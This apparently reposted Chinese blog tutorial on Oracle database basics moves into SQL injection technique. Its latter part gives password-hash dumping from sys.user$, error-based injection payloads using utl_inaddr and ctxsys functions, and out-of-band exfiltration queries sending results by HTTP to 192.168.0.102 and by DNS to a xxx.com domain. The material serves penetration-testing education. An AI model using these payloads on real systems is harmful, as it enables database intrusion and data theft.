Oracle-1

Posted Zad

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Oracle-1相关的知识,希望对你有一定的参考价值。

一、Oracle基本知识

组成部分

Oracle数据库系统由数据库文件(保存在磁盘上的文件)、数据库实例(管理数据库文件的一组进程和内存结构)。

应用程序连接到数据库时,实际上是连接到一个Oracle实例,由Oracle实例中的进程和内存来为应用程序提供服务。

注意:在SQL server或mysql中,当连接到数据库中可以同时管理多个数据库,这是因为实例就是数据库服务器引擎,,因此一个实例可以创建多个数据库。而Oracle中,实例由一系列的进程和服务组成,与数据库可以是一对一的关系,也就是一个实例可以管理一个数据库;也可以是一对多的关系,多个实例可以管理一个数据库,其中多个实例组成一个数据库的架构叫做集群。

因此。一个实例不能管理多个数据库,这是Oracle与其他数据库的一个明显区别。

数据字典

数据字典是Oracle数据库的重要组成部分,它由一系列拥有的数据库元数据(metadata)信息的数据字典表和用户可以读取的数据字典视图组成,存放Oracle数据所用的有关信息,主要包括:系统的空间信息、数据库中所有模式对象的信息(表、视图、索引等)、Oracle用户的名字、用户访问或使用的审计信息、用户的权限信息、列的约束信息和缺省值等。

数据字典可以看作是一组表和视图结构,它们存放在SYSTEM表空间中。

表空间

表空间是Oracle数据库中最大的逻辑结构,可以将表空间看作是数据库对象的容器。由一个或多个数据文件的集合,所有的数据对象都被逻辑地放在指定的表空间中。一个数据库通常包括SYSTEM、SYSAUX和TEMP三个默认表空间,一个或多个临时表空间。

注释

Oracle的注释有单行注释 -- 和多行注释 /**/。不像MySQL还支持#。

dual虚拟表

Oracle规定,每次查询时后面必须跟表名称,而dual是oracle的一个虚拟表,这张表只有单行单列一条记录,可以利用这个虚拟表设置或调用一些内置函数等。

Oracle是强类型的数据库 ,所以在UNION联合查询时候,用NULL兼容数据类型,而不能使用1,2,3数字代替。

rownum

oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。

 

获取表中第一行记录:

 

 

 

 

如果想找到从第二行记录以后的记录,当使用rownum>2或rownum=2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。

 

在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。

\'a\'||\'b\'=\'ab\'

 

 

 

 

常用函数

Oracle中函数和MySQL数据库中类似,常用的有:

字符串函数:ASCII(str)、CHR(i)、CONCAT(s1,s2)、LENGTH(s1)、SUBSTR(s1,i,[j])

数学函数:ABS(n)、POWER(n1,n2)、SIN()等等

日期函数:SYSDATE()

转换类函数:TO_CHAR(s1):将s1转换为字符串

流程控制

在MySQL中,流程控制有IF和IFNULL,而PL/SQL(Oracle)中,有多个流程控制符:

系统表

Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)。

DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。

DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。

ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。

USER_TABLES意为某一用户所拥有的所有的关系表。

当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。

DBA_TABLES >= ALL_TABLES >= USER_TABLES

需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。

dba_开头
dba_users 数据库用户信息
dba_segments 表段信息
dba_extents 数据区信息
dba_objects 数据库对象信息
dba_tablespaces 数据库表空间信息
dba_data_files 数据文件设置信息
dba_temp_files 临时数据文件信息
dba_rollback_segs 回滚段信息
dba_ts_quotas 用户表空间配额信息
dba_free_space数据库空闲空间信息
dba_profiles 数据库用户资源限制信息
dba_sys_privs 用户的系统权限信息
dba_tab_privs用户具有的对象权限信息
dba_col_privs用户具有的列对象权限信息
dba_role_privs用户具有的角色信息
dba_audit_trail审计跟踪记录信息
dba_stmt_audit_opts审计设置信息
dba_audit_object 对象审计结果信息
dba_audit_session会话审计结果信息
dba_indexes用户模式的索引信息

user_开头
user_objects 用户对象信息
user_source 数据库用户的所有资源对象信息
user_segments 用户的表段信息
user_tables 用户的表对象信息
user_tab_columns 用户的表列信息
user_constraints 用户的对象约束信息
user_sys_privs 当前用户的系统权限信息
user_tab_privs 当前用户的对象权限信息
user_col_privs 当前用户的表列权限信息
user_role_privs 当前用户的角色权限信息
user_indexes 用户的索引信息
user_ind_columns用户的索引对应的表列信息
user_cons_columns 用户的约束对应的表列信息
user_clusters 用户的所有簇信息
user_clu_columns 用户的簇所包含的内容信息
user_cluster_hash_expressions 散列簇的信息

v$开头
v$database 数据库信息
v$datafile 数据文件信息
v$controlfile控制文件信息
v$logfile 重做日志信息
v$instance 数据库实例信息
v$log 日志组信息
v$loghist 日志历史信息
v$sga 数据库SGA信息
v$parameter 初始化参数信息
v$process 数据库服务器进程信息
v$bgprocess 数据库后台进程信息
v$controlfile_record_section 控制文件记载的各部分信息
v$thread 线程信息
v$datafile_header 数据文件头所记载的信息
v$archived_log归档日志信息
v$archive_dest 归档日志的设置信息
v$logmnr_contents 归档日志分析的DML DDL结果信息
v$logmnr_dictionary 日志分析的字典文件信息
v$logmnr_logs 日志分析的日志列表信息
v$tablespace 表空间信息
v$tempfile 临时文件信息
v$filestat 数据文件的I/O统计信息
v$undostat Undo数据信息
v$rollname 在线回滚段信息
v$session 会话信息
v$transaction 事务信息
v$rollstat 回滚段统计信息
v$pwfile_users 特权用户信息
v$sqlarea 当前查询过的sql语句访问过的资源及相关的信息
v$sql 与v$sqlarea基本相同的相关信息
v$sysstat 数据库系统状态信息

all_开头
all_users 数据库所有用户的信息
all_objects 数据库所有的对象的信息
all_def_audit_opts 所有默认的审计设置信息
all_tables 所有的表对象信息
all_indexes所有的数据库对象索引的信息

session_开头
session_roles 会话的角色信息
session_privs 会话的权限信息

index_开头
index_stats 索引的设置和存储信息

常用系统表查询

数据库信息

select NAME,PLATFORM_NAME from v$database
select HOST_NAME,VERSION from v$instance
SELECT banner FROM v$version WHERE banner LIKE \'Oracle%\';

 

 

 

 


表信息

select TABLE_NAME,TABLESPACE_NAME from user_tables

 

 

 


字段信息

select TABLE_NAME,COLUMN_NAME from user_tab_columns WHERE TABLE_NAME LIKE \'TEST\';

 

 

 

当前用户

SELECT user FROM dual

 

 

 


列密码哈希

SELECT name,spare4 FROM sys.user$

 

 

 


时间盲注
获取主机名

SELECT UTL_INADDR.get_host_name(\'192.168.1.1\') FROM dual;

 

 

 


查询大量的数据


对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。其他数据库也适用。

select count(*) from all_objects

当然,还有其他的骚操作。

报错注入

utl_inaddr.get_host_address()

根据主机名获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。

select utl_inaddr.get_host_address((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

 

 

 

utl_inaddr.get_host_name()

select utl_inaddr.get_host_name((select TABLE_NAME from user_tables WHERE rownum=1)) from dual

ctxsys.drithsx.sn()

select ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables WHERE rownum=1)) from dual

 

 

 

ordsys.ord_dicom.getmappingxpath()

select ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) from dual;

 

 

 

dbms_utility.sqlid_to_sqlhash()

select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

 

 

还有几个其他的报错函数,就不一一介绍了。

带外通信


Oracle可以发送HTTP请求和DNS请求,可以将查询的结果附带到请求中,然后通过查看WEB日志和DNS记录读取查询结果,这种方式针对盲注注入能有效的提高效率。

HTTP请求


utl_http.request(),发送HTTP请求:

select utl_http.request(\'http://192.168.0.102/\'||(SELECT user FROM dual)) from dual;

 

 

DNS请求


utl_inaddr.get_host_address(),查询NDS请求

select utl_inaddr.get_host_address((select user from dual)||\'.xxx.com\') from dual

 

以上是关于Oracle-1的主要内容,如果未能解决你的问题,请参考以下文章

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数

VSCode自定义代码片段8——声明函数